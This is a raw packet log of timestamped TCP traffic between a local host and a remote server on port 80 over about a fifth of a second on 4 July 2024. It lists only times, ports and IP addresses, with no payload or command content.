Jul 4, 2024 20:34:04.250175953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250185013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250195026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250205040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250216961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250216961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250216961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250255108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250266075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250277042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250287056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250298023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250307083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250308037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250317097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250335932 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250356913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250376940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250386953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250396013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250406027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250415087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250416040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250426054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250433922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250453949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250459909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250464916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250471115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250505924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250571012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250581980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250591993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250602007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250613928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250616074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250627041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250637054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250646114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250667095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250683069 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250704050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250714064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250725031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250735044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250741959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250745058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250754118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250761032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250793934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250817060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250827074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250837088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250847101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250857115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250858068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250869036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250871897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250906944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250971079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250983000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250992060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251002073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251013994 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251018047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251029015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251033068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251039028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251049042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251059055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251063108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251070023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251080036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251089096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251091003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251111031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251123905 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251143932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251182079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251204014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251214981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251236916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251251936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251262903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251274109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251283884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251296043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251301050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251323938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251334906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251421928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251432896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251442909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251451969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251461983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251462936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251471996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251481056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251482010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251493931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251503944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251511097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251533985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251538038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251544952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251564026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251578093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251601934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251733065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251744032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251753092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251763105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251771927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251774073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251781940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251791000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251801014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251806021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251811028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251821041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251831055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251835108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251841068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251852036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251853943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251862049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.251872063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.251898050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.344496965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344511986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344522953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344527960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344533920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344542980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344553947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344610929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344620943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344702959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.344767094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.344949961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344960928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344970942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344980955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.344990969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345031023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345088959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345172882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345184088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345194101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345202923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345212936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345222950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345233917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345238924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345242977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345273018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345294952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345369101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345386028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345395088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345406055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345415115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345424891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345426083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345436096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345463037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345474005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345521927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345541000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345551014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345561981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345571995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345588923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345601082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345632076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345669031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345685959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345727921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345874071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345885038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345895052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345905066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345918894 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345927000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345937967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345947981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345951080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.345958948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345971107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.345987082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346005917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346013069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346025944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346034050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346045017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346051931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346086979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346168995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346182108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346193075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346203089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346211910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346242905 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346309900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346323967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346333981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346343994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346350908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346354008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346365929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346385956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346410036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346446991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346457005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346462011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346471071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346479893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346510887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346535921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346564054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346605062 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346769094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346780062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346790075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346800089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346808910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346815109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346820116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346838951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346868038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346927881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346939087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346950054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346960068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346967936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.346968889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346981049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.346991062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347001076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347001076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347009897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347021103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347033024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347052097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347070932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347074986 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347080946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347116947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347265959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347276926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347290993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347301960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347313881 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347347975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347412109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347423077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347431898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347445965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347456932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347457886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347466946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347476959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347477913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347486973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347496986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347508907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347513914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347524881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347543955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347563982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347729921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347744942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347755909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347765923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347774029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347810984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.347913027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347924948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347934008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347944975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.347954988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.348006964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.348032951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348043919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348052979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348062992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348071098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.348072052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348082066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348092079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348098040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.348102093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348112106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.348134041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.348149061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443355083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443377972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443387985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443429947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443445921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443455935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443466902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443486929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443563938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443576097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443586111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443595886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443609953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443620920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443650961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443650961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443650961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443726063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443736076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443746090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443756104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443758011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443766117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443772078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443775892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443787098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443793058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443814039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443840027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443855047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443866968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443876028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443886042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443897009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443907022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443907976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.443917036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.443931103 CEST	49730	80	192.168.2.4	85.28.47.30
